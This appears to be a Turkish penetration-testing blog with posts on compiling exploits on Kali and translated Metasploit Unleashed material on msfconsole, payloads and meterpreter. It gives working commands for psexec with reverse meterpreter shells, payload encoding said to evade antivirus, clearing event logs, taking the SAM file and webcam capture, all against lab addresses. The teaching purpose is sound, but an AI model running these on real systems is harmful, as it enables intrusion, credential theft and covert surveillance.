27 Mart 2014 Perşembe

Kali üzerinde Exploit Kodu Derleme: Ruby

Kali üzerinde Exploit Kodu Derleme: Ruby

Önceki yazıda C ile hazırlanmış bir exploit kodu ile bir zafiyet istismar edilmişti. Bu yazıda ise, bir uygulama sunucusunda tespit edilen "SkyBlueCanvas CMS - Remote Code Execution" zafiyetinin exploit işlemi gerçekleştirilecektir.

Yazının devamı için bakınız:
http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-clear-text-password-from-lsass-dump-file-that-is-stolen-from-remote-windows-computers-command-line-using-mimikatz-tool/


Kali üzerinde Exploit Kodu Derleme: C

Kali üzerinde Exploit Kodu Derleme: C

Bir XP SP0 makinenin zafiyeti (MS Windows (RPC DCOM) Remote Exploit), C ile yazılmış bir exploit kodu kullanılarak istismar edilecektir. Bu amaçla DCOM zafiyeti exploit-db gibi bir kaynaktan aranır:


Daha sonra da istenilen exploit kodu elde edilir:


Exploit kodu indirilir:


Derlenir ve seçenekleri incelenir:


Exploit işlemi gerçekleştirilir:


Not: Bazı durumlarda istenmeyen sonuçlar da doğabileceği göz önünde bulunmalıdır:

16 Mart 2014 Pazar

Metasploit Unleashed: Metasploit Fundamentals

Metasploit Unleashed: Metasploit Fundamentals


Metasploit anaçatısını kullanmak için bir çok arayüz bulunmaktadır. Tüm arayüzlerin avantaj ve dezavantajları olmakla birikte; bu arayüzlerden en verimlisi msfconsole denebilir.
MSF, Kali Linux üzerinde "/usr/share/metasploit-framework" altında toplanmıştır.

1) Msfcli

msfconsole ile yapılabilecek işlemleri tek bir satırda / adımda gerçekleştiren arayüzdür. Başlıca kullanım amaçları aşağıdaki gibidir:
  • Exploit ve Auxiliary modülleri çalıştırmak
  • Tek bir satırda tüm işlemleri gerçekleştirerek öğrenim kolaylığı sağlamak
  • Yeni exploit’ler test etmek ve geliştirmek
  • İnteraktif erişimin mümkün olmadığı durumlarda kullanmak
  • Exploit işlerinde betiklerle otomatik işlemler gerçekleştirmek
  • Tek seferlik exploit işlemlerini daha hızlı gerçekleştirmek
  • Hangi exploit veya payload kullanılacağı bilindiği durumlarda hız kazanmak
Ancak msfconsole kadar desteklenmediği ve aynı anda sadece tek bir kabuk (shell) açılabildiği için istemci taraflı saldırılarda çok da pratik değildir. Ayrıca msfconsole’un bazı gelişmiş özelliklerini kullanamamaktadır.
Değişken ataması sırasında msfconsole’daki gibi “ ”(boşluk) kullanılması yerine, “=” kullanılır. Ayrıca seçeneklerin büyük/küçük harf duarlı olduğu da göz önünde bulundurulmalıdır.

Önemli parametreleri:
-h veya H: Yardımcı dokümantasyon sunar.
-E: Seçilen modülü çalıştırır.
P: Seçilen modül için uygun Payload değerlerini sunar.
O: Seçilen modül için uygun seçenekleri sunar. Böylece hangi seçeneklerin ayarlanabileceği listelenir.
Örnek kullanımlar:
# msfcli -h
# msfcli exploit/multi/samba/usermap_script O
# msfcli exploit/multi/samba/usermap_script P
# msfcli exploit/windows/smb/psexec RHOST=192.168.2.182 PAYLOAD=windows/meterpreter/reverse_https LHOST=192.168.2.97 LPORT=443 SMBUser=Tubitak SMBPass=Aa123456 E


2) Msfconsole

En çok destek gören ve tercih edilen arayüzdür. Bunun başlıca sebepleri şu şekildedir:
  • Kullanıcı dostudur. Ruby sayesinde Tab tuşu ile tamamlama gibi kullanımı kolaylaştırıcı özelliklere sahiptir.
  • En sağlam (stable) konsol tabanlı arayüzdür.
  • Merkezi bir arayüz sunar.
  • Metasploit ana çatısının her özelliğine (feature) neredeyse tamamına erişim sağlayabilen tek MSF arayüzüdür.
  • Metasploit anaçatısındaki özelliklerin yanı sıra, Linux taraflı dış komutlara (ifconfig, ping,... gibi) da erişim sağlanabilir.
  • Yardımcı dokümanları en iyi hazırlanmış arayüzdür.
Bu arayüzün kullanımı için “/usr/share/metasploit-framework” dizini altındaki msfconsole aracı kullanılır. Eğer çevresel değişkenler uygun şekilde yapılandırılmışsa, Kali'de yapılandırılmıştır, herhangi bir dizinde bu komut çalıştırılabilir.

Önemli parametreleri:
-h veya --help: Yardımcı dokümantasyon sunar.
-r <KaynakDosya>: Belirtilen kaynak / betik dosyasını (resource file) çalıştırır.
-c <YapilandirmaDosyasi>: Belirtilen yapılandırma dosyasını (configuration file) yükler.
-o <CiktiDosyasi>: Belirtilen dosyaya logları yazar.
Bu aracın çalıştırılması ile “msf” adlı konsola düşülür.


msfconsole komutları:
help veya ? veya <Komut> -h: Yardımcı dokümantasyon sunar.
info <ModulAdi>: Seçilen modülü veya modüller ile ilgili ön bilgi (Modül adı, versiyonu, çalışacağı platformlar, lisansı, yazarları, tanımı, seçenekleri, referansları, beklenmedik etkileri vs) sunar.
back: Mevcut modülden geri çıkmak için kullanılır.
check: Exploit işlemini gerçekleştirmeden önce yapılan kontroldür. Böylece exploit işleminin başarılı olup olunmayacağı kontrol edilir. Çok az sayıda exploit tarafından bu komut desteklenir.
connect <Senecekler>: Telnet veya netcat araçları gibi, bir sistemin bir portuna bağlantı (connect <IP> <Port>) için kullanılır.
exit: msfconsole komut satırından çıkılması için kullanılır.
irb: msf konsolundan, etkileşimli Ruby kabuğuna geçiş için kullanılır.
jobs <Secenekler>: Arka planda çalışan modülleri sunar, sonlandırır ve yönetir.
kill <JobId>: Belirtilen arka plandaki işlemi (job) sonlandırır.
load <EklentiAdi>: Kişisel (“/root/.msf4/plugins”) ve Metasploit anaçatısındaki eklentileri (“/usr/share/metasploit-framework/plugins”) yükler.
resource <KaynakDosyasi>: msfconsole tarafından yüklenebilecek betik (kaynak) dosyalarını çalıştırır.
route: Oturum açıldıktan sonra ağlar arasında oturumlar üzerinden geçmek için kullanılır. Ayrıntılı bilgi Pivoting başlığı altında incelenecektir.
search <ModulBilgisininBirKismi>: Adı, tanımı, referansı gibi bilgisinin belli bir kısmı bilinen modül için arama gerçekleştirilir. Modüller isimlendirilirken “-” yerine “_” kullanıldığından, “_” ile arama yapılması daha doğru sonuçlar verir.
sessions: Mevcut oturumları (meterpreter oturumu, shell,  VNC) listeler ve yönetir.
set <Secenek> <Deger>: Mevcut modül için belirtilen seçeneğe, belirtilen değeri atar.
setg <Secenek> <Deger>: Tüm modüller için (global olarak) belirtilen seçeneğe, belirtilen değeri atar.
save: setg komutu ile yapılan değişiklikleri ayar dosyasına (/root/.msf4/config) kaydeder. Böylece bu ayarlar her zaman kullanılabilir.
show <Parametre>: Belirtilen parametreye (all, encoders, nops, exploits, payloads, auxiliary, plugins, options) uygun seçenekleri sunar.
unload <EklentiAdi>: Yüklü eklentiyi kaldırır.
unset <Parametre>: Değer verilmiş seçeneklerdeki değeri kaldırır.
unsetg <Parametre>: Değer verilmiş genel seçeneklerdeki değeri kaldırır.
use <ModulAdi>: Belirtilen modül kullanılır.
run veya exploit: Modülleri çalıştırmak için kullanılır. Auxiliary modüller için “run”, istismar modülleri için “exploit” kullanılır.
Örnek kullanımlar:
msf > help
msf > sessions -h
msf > search smart_hash
msf > search type:post platform:linux path:scade name:mysql author:dookie
msf > use post/windows/gather/smart_hashdump
msf > sessions -l
msf > sessions -i 4 -c “net localgroup”
msf > sessions -k 2
msf > unset all
msf exploit(psexec) > set RHOSTS 192.168.5.0/24
msf > setg RHOSTS 192.168.5.0/24
msf > save
msf exploit(ms08_067_netapi) > show payloads
msf > show options



3) Exploits

Modül seçildikten, modül seçenekleri ayarlandıktan sonra zafiyeti kullanarak hedef sisteme sızmak için kullanılan komuttur.

Önemli parametreleri:
-h: Yardımcı dokümantasyon sunar.
-j: Modül arkaplanda çalıştırılır.
-z: Modül başarılı bir şekilde çalıştırıldıktan sonra oturum ile direk etkileşime girilmez. Örneğin, hedef sistemin kabuğuna düşülmez. “shell -i <OturumNo>” komutu ile hedef kabuğa düşülür.
Exploit işlemi sonucunda hedef sistem ile etkileşime girildiğinde meterpreter kabuğuna düşülür.


Exploit’ler aktifliğine göre 2’ye ayrılır:
  • Aktif Exploit’ler: Bir sistemdeki zafiyeti istismar eden ve işi bittikten sonra kapanan (bir hata olmadığı takdirde) sunucu tabanlı (saldırganın bir sisteme saldırdığı) exploit çeşididir.
  • Pasif Exploit’ler: Hedef sistemin bağlantı talebini gerçekleştirmesi beklenen istemci tabanlı (web tarayıcısındaki, mail istemcisindeki) exploit çeşididir.

4) Payloads

Payloadlar 3 grupta incelenebilir.
  • Single (Inline / Non Staged) : Tek başınlarına çalışan, hem bağlantıyı sağlayan hem de hedef bilgisayarda basit işlemler gerçekleştiren payload’lardır. Stagers ve Stages payload’larının birleşimi olarak düşünülebilir. Örnek: Hedef sisteme kullanıcı ekleme (adduser), hedef sisteme bağlantı kurma (shell_bind_tcp), hedef sistemde kod çalıştırma (exec), hedef sistemde bir prosesi (explorer.exe gibi) öldürme, hedef sistemin kayıt defterinde değişiklik gerçekleştirme, ....
  • Stagers: Saldırgan ve hedef bilgisayarlar arasında ağ altyapısını kuran, küçük boyutlu olan ve sağlam olmak zorunda olan payload’lardır. Bağlantı kurulurken küçük boyuttaki kodlar kullanılır, bağlantı kurulduktan sonra büyük boyuttaki kodlar kullanılarak modül ve payload’lar hedef sisteme yollanmaktadır. Metasploit alt yapısı barındırdığı benzer payload’lardan en iyisini kendi içerisinde seçer ve bağlantıyı seçtiği en uygun payload ile kurar. Örnek: bind_tcp, reverse_tcp, bind_http(s), reverse_http(s), ...
  • Stages: Stager payload’lar tarafından hedef sisteme yüklenen ve asıl işlemleri gerçekleştiren payload bileşenleridir. Saldırganın hedef bilgisayarda komut çalıştırması veya saldırganın hedef bilgisayardan dosya alması, ... gibi işlemler için kullanılan shell (ipwn, http,…), meterpreter, VNC Injection birer stages payloadlardır. Single payload’lardan daha karmaşık işlemleri gerçekleştirirler.

Payload adına bakılarak payload kategorisi anlaşılabilmektedir. Payload adında “/” yoksa single; varsa ilk değer stage ve ikinci değerse stager bilgisini verir. Örneğin; “windows/shell_bind_tcp” için single payload, “windows/shell/bind_tcp” için stager (bind_tcp) ve stage (shell) içeren bir payload’dur denilebilir.

Payload belirlemek için “set” komutu kulalnılabilir.


Metasploit anaçatısında bulunan en önemli payload türleri aşağıdaki gibidir:
  • Inline (Non staged): Belirli işlevi yerine getiren single payload’dur.
  • Staged: Belirli bir işlevi yerine getirmek için stage payload’lar ile birlikte çalışan stager payload’lardır.
  • Meterpreter (Meta-Interpreter): Hedef sistemin belleğinde çalışan, diskinde iz bırakmayan ve DLL enjeksiyonu yolu ile hedef bilgisayarda betik veya komutların çalışmasını sağlayan oldukça gelişmiş bir payload türüdür.
  • PassiveX: IE uygulamasında etkin olarak bırakılmış olan ActiveX kontrollerini kullanarak HTTP üzerinden komut çalıştırmaya yarayan ve firewall gibi ağ cihazlarının atlatılmasında kullanılan payload türüdür.
  • NoNX (No eXecute): DEP (Data Execution Prevention - RAM üzerinde gerçekleşen işlemleri kontrol ederek, saldırıları önler) koruma mekanizmasını atlatmak için kullanılan payload türüdür.
  • Ord: Her dildeki ve platformdaki Windows işletim sistemlerinde çalışan küçük boyutlu payload türleridir. Ancak exploit işlemi öncesinde prosese ws2_32.dll yüklenmesini beklediği için ve diğer payload türlerine göre daha az sağlam (stable) olduğu için çok de tercih edilmezler.
  • IPV6: Ipv6 ağlarında kullanılan payload türleridir.
  • Reflective DLL enjeksiyonu: Stage payload’un diskte değil RAM üzerinde işlem gördüğü VNC ve Meterpreter payload’larının da kullandığı tekniktir. Ayrıntılı bilgi için bakınız: http://blog.harmonysecurity.com/2008/10/new-paper-reflective-dll-injection.html

Metaploit ana çatısı, exploit geliştiricilerine daha esnek bir ortam sağlamak için mevcut payload’lar haricinde payload’ların üretilmesine de olanak sunar.  Payload işlemleri msfconsole üzerinde gerçekleştirilir.

msfconsole’da payload işlemleri için kullanılabilecek önemli parametreler:
use <PayloadAdi>: Belirtilen payload’u kullanır.
generate <Secenekler>: Belirtilen payload’u üretir. 
Örnek kullanımlar:
msf > use payload/windows/shell_bind_tcp
msf payload (shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa'


"generate" parametreleri:
msfconsolda payload üretimi için “generate” sonrası kullanılabilecek önemli parametreler:
-h: Yardımcı dokümantasyon sunar.
-b <IstenmeyenKarakterler>: Payload içerisinde belirtilen karakteler kullanılmadan payload üretilir. Payload üretimi sırasında payload boyutu artış göstermekte ve otomatik olarak en uygun kodlayı (encoder) ile kod karıştırılmaktadır. Ancak istenmeyen karakter çok fazla ise bir payload üretimi gerçekleşmeyebilir. Bu durum sesli harf kullanmadan cümle oluşturmaya benzetilebilir.
-e <KodlayiciAdi>: Belirli bir kodlayıcı kullanılarak payload üretilir. Farklı bir encoder kullanımında payload boyutu artacaktır.
-f <DosyaAdi>: Payload bir dosyaya kaydedilir.
-i <IterasyonAdedi>: Payload üretimi sırasında shellcode’un kaç iterasyon geçireceğini belirtir. Bu parametre ile payload boyutu artarken, antivirüsler tarafından yakalanması ise daha zor olacaktır. İterasyon adedi arttıkça payload boyutu artacaktır.
-o <Secenek=Deger>: Payload seçeneklerini değiştirerek payload kodunu üretir.
-t <Dil>: Payload kodunu Ruby dili yerine tercih edilen programlama dilinde (raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,aspx,war,psh,psh-net) formatlayarak oluşturur.
-s <KarakterAdedi>: Payload başlangıcına belirtilen karakter adedince boş karakter (NOP) ekleyerek payload üretir. Eklenen byte adedince payload boyunu artış gösterir.
Örnek "generate" kullanımları:
  • msf  payload(shell_bind_tcp) > generate -h
  • msf  payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66’ -i 3
  • msf  payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai -f /root/msf/filename.txt
  • msf  payload(reverse_tcp) > generate -o LPORT=443,EXITFUNC=seh -b '\x00\xff' -e x86/shikata_ga_nai -t java

Bind ve Reverse Bağlantı İlişkisi
Bind ve Reverse bağlantı ile ilgili farkı görmek için aşağıdaki 2 örnek incelenebilir.

Reverse bağlantıda Windows (192.168.2.182) makinenin herhangi bir portundan, Linux makinenin (192.168.2.97) belirtilen portuna (4567) bağlantı kurulur.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.97 LPORT=4567 X > /root/Desktop/TersBaglanti.exe
# msfcli exploit/multi/handler PAYLOAD=windows/meterpeter/reverse_tcp LHOST=192.168.2.97 LPORT=4567 E
Sonuç:
[*] Started reverse handler on 192.168.2.97:4567
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.2.182
[*] Meterpreter session 1 opened (192.168.2.97:4567 -> 192.168.2.182:49159) at 2014-03-16 21:38:07 +0200

Bind bağlantıda Linux (192.168.2.97) makinenin herhangi bir portundan daha sonra bağlantı kurmak için, Windows makinenin (192.168.2.182) dinlediği (ve belirtilen) portuna (7654) bağlantı kurulur.
# msfpayload windows/meterpreter/bind_tcp LPORT=7654 X > /root/Desktop/DuzBaglanti.exe
# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.2.182 LPORT=7654 E
Sonuç:
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.2.182
[*] Meterpreter session 1 opened (192.168.2.97:56332 -> 192.168.2.182:7654) at 2014-03-16 21:04:33 +0200

5) Veritabanları

Metasploit anaçatısı kullanılarak gerçekleştirilen operasyonlara ait sonuçların takibi amacıyla PostgreSQL veritabanı kullanılabilir. msfconsole’a düşüldüğünde veritabanı bağlantısı otomatik olarak TCP/7337 portunda başlatılmaktadır.


Önemli parametreleri:
workspace <Secenekler>: Gerçekleştriilen operasyonların organizasyonu için kullanılan yapıları yönetir.
hosts <Secenekler>: Mevcut workspace üzerinde bulunan sistemleri listeler ve yönetir. Sistem ekleme (-a / --add) ve silme (-d / --delete),  belirli kolonları gösterme (-c <KolonAdi>), arama gerçekleştirme (-S / --search), modüldeki hedef bilgisayarları veritabanından yükleme (-R) işlemlerini gerçekleştirir.
db_import <DosyaAdi>: Dosyada bulunan tarama sonucunu veritabanına ekler.
db_nmap <Secenekler>: Nmap ile tarama gerçekleştirip çıktısını mevcut workspace içerisine otomatik olarak kaydeder.
db_export –f <Format> <DosyaAdi>: Elde edilen sonuçları belirtilen formatta (xml veya pwdump) ve isimde dosyaya kaydeder.
services <Secenekler>: Servis isimlerine göre filtreleme gerçekleştirilir.
-o <DosyaAdi>: CSV uzantılı olarak sonuçları kaydeder.
creds <Secenekler>: Mevcut workspace üzerinde bulunan sistemlere ait kimlik bilgilerini listeler ve yönetir. Kimlik bilgisi ekleme (-a / --add) ve silme (-d / --delete), bilgileri bir dosyaya yazma (-o <DosyaAdi>), porta (-p <Portlar> / --port <Portlar>) ve servis adına (-s <ServisAdi>) göre kimlik bilgilerini listeleme, eklenecek kimlik bilgisi için tipini (-t <KimlikBilgisiTipi> / --type <KimlikBilgisiTipi>) veya kullanıcı adını (-u <KullaniciAdi> / --user <KullaniciAdi>) veya parolasını (-P <Parola> / --password <Parola>) belirleme, arama gerçekleştirme (-S / --search), modüldeki hedef bilgisayarları veritabanından yükleme (-R) işlemlerini gerçekleştirir.
loot <Secenekler>: Belirli tipteki parola özetlerini listeler.
Örnek kullanımlar:
msf > workspace -a YeniProje
msf > hosts -c address,os_flavor -S "2008 R2"
msf > db_export -f xml /root/msfu/Exported.xml
msf > services -c port,proto,state -p 70-444 -S http -o /root/test2/http.csv
msf > creds -h
msf > creds -a 172.16.194.134 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
msf > loot -t windows.hashes, linux.hashes, linux.passwd, linux.shadow


6) Meterpreter (Meta-Interpreter)

Meterpreter çalışma anında (runtime) DLL enjeksiyonu yolu ile hedef sistemin belleğinde (RAM) işlemler gerçekleştirengelişmiş, dinamik payload türüdür. Hedef sistemde öncelikle bir stager payload (bind, reverse, findtag, passivex gibi) çalışır ve bu payload bir DDL oluşturarak, başka bir DLL’e enjekte olur. Hedef sistemden saldırgandaki Metasploit’e şifreli (TLS/1.0 üzerinden) bir GET mesaj yollar ve hedef bilgisayar bu trafik üzerinden yapılandırılır (stdapi, priv gibi modüller yüklenir vs). Saldırgan ile hedef bilgisayar arasındaki tüm işlemler şifreli trafik (TLS ve TLV protokolleri) üzerinden gerçekleşir.
Meterpreter harddiske herhangi bir şey yazmaz, RAM üzerinde çalışır. Ayrıca yeni bir proses oluşturmadan haklarına göre prosesler arasında sıçrar. Çalışma anında gerekli modüllerin ve eklentilerin yüklenmesine devam edilebilir, yeni özellikler kullanılabilir. Yeni bir modül/uzantı yükleneceği zaman saldırgan bu uzantıyı hedef sisteme gönderir, hedef sistemde bu eklenti DLL’e yüklenir ve başlatılır. Daha sonra eklenti durum bilgisi saldırganın bilgisayarına bildirilir, saldırganın bilgisayarından eklenti fonksiyonları çağırılarak hedef bilgisayarda komutların çalışması sağlanır. Ayrıntılı bilgi için bakınız: http://blog.harmonysecurity.com/2008/10/new-paper-reflective-dll-injection.html

Önemli parametreleri:
-h veya --help: Yardımcı dokümantasyon sunar.
background: Meterpreter oturumundan msf konsola geri dönülür. Meterpreter oturumu kapanmaz, arka plana konur.
clearev: Windows işletim sistemindeki Application, System ve Security loglarını siler.
download <HedefBilgisayardakiDosya> <DosyaninKaydedilecegiKaliUzerindekiDizin>: Hedef bilgisayardan belirli dosya alınır. Windows dizinleri arasında iki tane “\” kullanılmalıdır.
upload <YuklenecekDosyaninKaliUzerindekiYeri> <HedefBilgisayardaDosyaninKaydedilecegiDizin>: Hedef bilgisayardan belirli dosya alınır. Windows dizinleri arasında iki tane “\” kullanılmalıdır.
edit <HedefSistemdekiDosya>: Belirtilen metin dosyasını indirmeye gerek kalmadan açmaya, üzerinde değişiklik yapmaya yarar.
execute <Secenekler>: Hedef sistemde belirli bir komutu çalıştırmak için kullanılır.
getuid: Mevcut prosesi çalıştıran hesabın adını verir.
getpid: Mevcut prosesi ID değerini verir.
hashdump: Yerel kullanıcıların parola özetlerini listeler. Çalışmaması durumunda yapılabilecek işlemler için bakınız: http://ertugrulbasaranoglu.blogspot.com.tr/2013/11/ipucu-hashdump-hatas.html
idletime: Hedef sistemdeki kullanıcının işlem yapmadığı süreyi belirtir.
migrate <ProsesId>: Belirli bir prosese sıçranır. Çalışmaması durumunda “run post/windows/manage/migrate” de denenebilir.
ps: Hedef bilgisayarda çalışan prosesler ve prosesleri çalıştıran hesaplar listelenir.
resource <DosyaAdi>: Dosya içerisinde bulunan komutları çalıştırır.
search -f <DuzenliIfadeOlarakDosyaAdi> <DizinAdi>: Belirli dizinde belirli isimdeki dosyaları arar.
webcam_list: Kameraları listeler.
webcam_snap <Secenekler>: Kamerayı kullanarak fotoğraf çeker.
Örnek kullanımlar:
meterpreter > execute -f cmd.exe -i -H
meterpreter > download C:\\Windows\\System32\\SAM
meterpreter > upload Virus.exe c:\\Users
meterpreter > search -f sea*.bat c:\\xamp\\
meterpreter > webcam_snap -i 1 -v false



Kaynak:
http://www.offensive-security.com/metasploit-unleashed/Metasploit_Fundamentals

Metasploit Unleashed: Introduction

Metasploit Unleashed: Introduction


Saldırı amaçlı bir çok araç kullanılmaktadır. Bu araçlardaki bazısı bilgisayarlardaki zafiyetleri kullanarak ele geçirmeye, bazısı uygulamalardaki açıklıkları tespit etmeye, bazısı bir kurum veya sistem hakkında bilgi toplamaya, … yarar. Kullanılan araçlar farklı ortamlarda / platformlarda çalışmakta, farklı programlama dillerinde yazılmaktadır. Metaploit ile saldırı araçları tek bir platforma taşınmıştır.

Metasploit ana çatısının başlıca getirileri aşağıdaki gibidir:
  • Birbirinden farklı alanlardaki saldırı tekniklerini bir araya toplar.
  • Farklı platformalarda hazırlanmış kodlar yerine, modüller ruby dili hazırlanmıştır.
  • Kodların derlenmesi ile uğraşmaya gerek kalmamıştır.
  • Kullanılabilecek exploit’ler veya payload’lar için uygun olan tavsiye edilerek zaman kaybının önüne geçilir.
  • Birbirinden farklı exploit’ler için kullanılabilecek payload’lar otomatik olarak sunulmuştur.
  • Exploitler açık kaynaklı olup topluluk tarafından veya lişisel olarak güncellemeye imkan sunmaktadır.
  • Mevcut modüller kullanılarak amaca uygun şekilde farklı uygulamalar geliştirmeye açıktır.

Metasploit, 2003 yılında HD Moore tarafından önce Perl tabanlı olarak geliştirilmiş olup, sonrasında Ruby tabanlı olarak baştan geliştirilmiştir. 2009 yılında ise Metasploit projesi açık kaynaklı bir proje olarak Rapid7 bünyesine katılmıştır. Rapid 7 firması ayrıca ücretli olarak Metasploit Pro başta olmak üzere bir çok ürünün de ticaretini gerçekleştirmektedir. Ayrıca Rapid 7’nin açık kaynaklı zafiyet tarama aracı olan Nexpose ile de entegre çalışabilmektedir.

Metasploit ana çatısının bazı kullanım amaçları şu şekildedir:
  • Hedef ağ, sistem ve uygulamalarının güvenliğinin değerlendirilmesine yardımcı olmak
  • Sistemler hakkında bilgi toplanmasına yardımcı olmak
  • Güvenlik açıklıklarını bulmak
  • Sistemlerin açıklıklarının kullanılarak istismar edilmesini sağlamak
  • Anti-forensic tekniklerini kullanmak
  • Sistemlerdeki koruyucu mekanizmaları atlatmak
  • İhtiyaca göre yeni modüller geliştirmek veya mevcut modülleri kullanmak

Ana çatının hitap ettiği kullanıcılardan bazıları şu şekildedir:
  • Güvenlik denetleyicileri ve uzmanları
  • Saldırganlar
  • Modül geliştiriciler

1) Gereksinimler

Metasploit anaçatısını sorunsuz (en az sorunlu) olarak kullanabilmek için yazılımsal ve donanımsal bir takım gereksinimleri karşılamak gereklidir.

1.1) Donanımsal Gereksinimler

1.1.1) Disk Alanı
En az 10 GB olmak üzere 30 GB alan tavsiye edilmektedir. Snapshot alınma ihtiyacına göre, daha fazla disk alanının alınması tavsiye edilektedir. Büyük boyutta dosyalar kullanıldığı için, disk formatı olarak FAT32 yerine NTFS veya ext3 kullanılmalıdır.

1.1.2) Bellek
Fiziksel ve sanal makinelerdeki bellek gereksinimleri şu şekildedir:
  • Linux Host için en az 1 GB olmak üzere 2 GB veya daha üstü
  • Her bir Windows Guest için en az 256 MB olmak üzere 1 GB veya daha üstü
  • Kali Guest (Saldırı makinesi) için en az 512 MB olmak üzere 1 GB veya daha üstü 
  • Metasploitable Guest (Kurban makinesi) için en az 256 MB olmak üzere 512 MB veya daha üstü 
Daha az kullanılması durumunda sistem yavaşlayacak hatta çalışmaz duruma gelecektir.

1.1.3) İşlemci
VMware Player kullanımı için işlemci frekansı en az 400 Mhz olmak üzere 500 Mhz veya daha üstü olması tavsiye edilmektedir.

1.1.4) Internet Erişimi
Ağ cihazına bağlantı için cat5 kablo veya kablosuz bağlantı (yayın ile bağlantı uzaklığı ve bağlantı kuvveti göz önünde bulundurulmalı) kullanılabilir. DHCP sunucusu yoksa, Guest sanal makinelere statik IP verilmelidir.

1.2) Yazılım Gereksinimleri

Gerekli başlıca yazılımlar aşağıdaki gibidir:
  • Gerekli ilk yazılım sanallaştırma sistemidir. VmWare Converter, VmWare Player, VirtualBox gibi araçlar ücretsizdir ancak kayıt olunmalıdır. Bunun yanında Vmware Workstation, Vsphere, Vmware Fusion gibi sanallaştırma altyapıları ücret karşılığı temin edilebilir.
  • Bir diğer yazılım ise Metasploit anaçatısındaki kodlardır. Bu yazılımların son sürümü için “msfupdate” komutu kullanılmalıdır. Kali’nin son versiyonu için bakınız: http://www.kali.org/downloads/
  • Metasploitable, Metasploit anaçatsının öğrenilmesi, güvenlik eğitimlerinde kullanılması, güvenlik araçlarının test edilmesi için kullanılan, tarama ve saldırıların gerçekleştirilebileceği, içerisinde zafiyetler bulunduran Linux bir sanal makinedir. Makine http://sourceforge.net/projects/metasploitable/files/Metasploitable2/ bağlantısından indirilebilir. Makinenin varsayılan kullanıcı adı ve parolası “msfadmin” olarak belirlenmiştir. Bu makineler yerel ağa direk bağlanmamalı, NAT veya Host-Only olarak bağlanmalıdır. Ayrıntılı bilgi için bakınız: https://community.rapid7.com/docs/DOC-1875

2) Metasploit Mimarisi

Metaploit ana çatısının mimarisi için aşağıdaki resim kullanılabilir.


Mesaploit anaçatısında kullanılan Ruby dilinin bazı özellikleri şu şekildedir:
  • Her sınıf bir başka sınıftan türer.
  • Bir sınıf bir veya birden fazla modül içerebilir.
  • Modüller metodlar içerir. Modüllere yeni metodlar eklenebilir, eski modüller aşırı yüklenebilir. Böylece bir modülde farklı parametrelerle program akışında değişiklikler gerçekleştirilebilir.
  • Modüller Msf::Module ana modülünden türer.
  • Modüller arasında ortak bir API bulunur ve bu API ile modüller arasında etkileşim (değişken gönderimi, fonksiyon kullanımı, …) gerçekleştirilir.

2.1) Dosya Sistemi

MSF dosya sistemi 8 dizinde incelenebilir:
  • Veriler (Data): Metasploit tarafından kullanılan ve değiştirilerek kullanılabilen verilerdir.
  • Bilgilendirme Belgeleri (Documentation): Sistem anaçatısını (framework) açıklamak için kullanılan dokümanlardır.
  • Harici Kaynaklar(External): Kaynak kodlar ve 3. taraf kütüphanelerdir.
  • Kütüphaneler (Lib): Geliştirme için kullanılan ve sistem anaçatısının (framework) omurgasını oluşturan kütüphane kodlarıdır.
  • Modüller (Modules): Kullanılan modüllerdir.
  • Eklentiler (Plugins): Çalışma annda (runtime) yüklenen ve çalışan kod parçacıklarıdır. Anaçatının tüm işlevlerini kullanarak, direk olarak API’ler ile birlikte çalışırlar. Bazı işlemleri el ile gerçekleştirmek yerine otomatik gerçekleştirirler.
  • Betikler (Scripts): Meterpreter ve diğer betiklerdir.
  • Araçlar (Tools): Komut satırında çalışan ve çeşitli görevleri yerine getiren araçlardır.

2.2) Kütüphaneler

  • Rex: Çeşitli görevleri gerçekleştirmek için kullanılan en temel kütüphanedir. Bu görevler soket açmak veya dinlemek, hedef sistemle bir protokol için anlaşmak, veri transferi gerçekleştirmek olabilir. 
  • Msf::Core: Temel API’leri sağlar. Metasploit anaçatısını tanmlar, geliştiriciler için temel programlama arayüzünü sağlar.
  • Msf::Base: Metasploit anaçatısı için geliştiricilerin daha rahat kullanabileceği API’leri sağlar.

2.3) Modüller

Modüller iki ana dizinde tutulurlar:
  • MSF tarafından hizmete sunulan modüller “/usr/share/metasploit-framework/modules/” dizini altında tutulmaktadır.
  • Kullanıcıya özel modüller “~/.msf4/modules/” altında bulunur.
MSF tarafından 6 ana modül sunulmaktadır.


2.3.1) Exploitler
Sistem, uygulama, yazılım, donanım veya bir servisteki çatlağın (hata veya açıklığın) kötüye kullanılarak hedeflenen sonuca ulaşmak için kullanılan güvenlik açıklıklarına ait kod parçası veya komut dizinidir. Payload kullanan modüller olarak da tanımlanabilir (Payload kullanılmayan exploit’lere auxiliary modül adı verilir.). Bu kodlar ile hedef sistem olağan dışı olarak (beklenmeyen ve istenmeyen sonuçlar doğuracak şekilde) saldırganın belirlediği işlemi gerçekleştirirler. Buffer taşması, web uygulaması zafiyetleri, konfigürasyon hataları bazı exploit çeşitleridir. Hedef makineye dosya atmak veya hedef makineden dosya almak, hedef ağı dinlemek, hedef sistemin sürekliliğini devre dışı bırakmak, hedef sistemin ayarlarını değiştirmek, hedef sisteme program yüklemek için kullanılabilir.


Exploit modülleri genelde payload kullanırlar. Payload kullanmayan expolit Auxiliary modül olarak adlandırılır.

Exploitler, önce işletim sistemine göre (aix, linux, unix, windows gibi) sonra da servisine (ftp, smb, smtp gibi) göre çeşitli alt dizinlere ayrılmıştır. 


Bütün exploit listesini görmek için, MSF üzerinde show komutu kullanılır: “show exploits”


2.3.2) Auxiliaryler
Exploit modüllerinin aksine saldırıdan ziyade, bilgi toplama amacıyla kullanılan yardımcı modüllerdir.  Port taraması, zafiyet taraması gibi işlevleri yerine getirerek saldırı öncesinde sistem dökümünü elde etmeye yararlar. Payload kullanmayan exploit’lerdir.
